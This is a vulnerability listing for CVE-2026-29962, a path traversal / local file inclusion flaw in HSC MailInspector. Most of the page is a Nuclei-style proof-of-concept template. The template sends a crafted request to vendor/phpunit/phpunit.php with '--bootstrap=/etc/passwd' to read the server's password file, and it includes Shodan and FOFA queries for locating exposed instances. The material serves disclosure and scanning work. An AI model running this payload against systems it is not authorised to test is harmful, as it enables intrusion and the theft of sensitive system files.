CVE-2026-29962: HSC MailInspector - Local File Inclusion

2026-09-16 PoC Public

Description

HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.

Details

CVE
CVE-2026-29962 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-29962

info:
  name: HSC MailInspector - Local File Inclusion
  author: str4k3r
  severity: high
  description: |
    HSC MailInspector v5.3.3-7 contains a path traversal caused by improper control of user-supplied file paths in /vendor/phpunit/phpunit.php, letting remote attackers read arbitrary files, exploit requires crafted request.
  impact: |
    Remote attackers can read arbitrary files, potentially disclosing sensitive information from the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29962
  classification:
    cve-id: CVE-2026-29962
    epss-score: 0.0153
    epss-percentile: 0.75169
    cwe-id: CWE-73
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: hsclabs
    product: mailinspector
    shodan-query: http.html:"mailinspector"
    fofa-query: body="mailinspector"
  tags: cve,cve2026,mailinspector,php,phpunit,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailinspector"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "/mailinspector/"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/mailinspector/vendor/phpunit/phpunit.php?--bootstrap=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "root:x:0:0:"
# digest: 4a0a00473045022022ef85037379034d1007259718fe69007c9c44f480c2d20041a80c7644e2603d022100e5e0951793bbfcb7d3e52113d0f3970f0ddf7f7089c5edb6a88a8633c250d6e9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life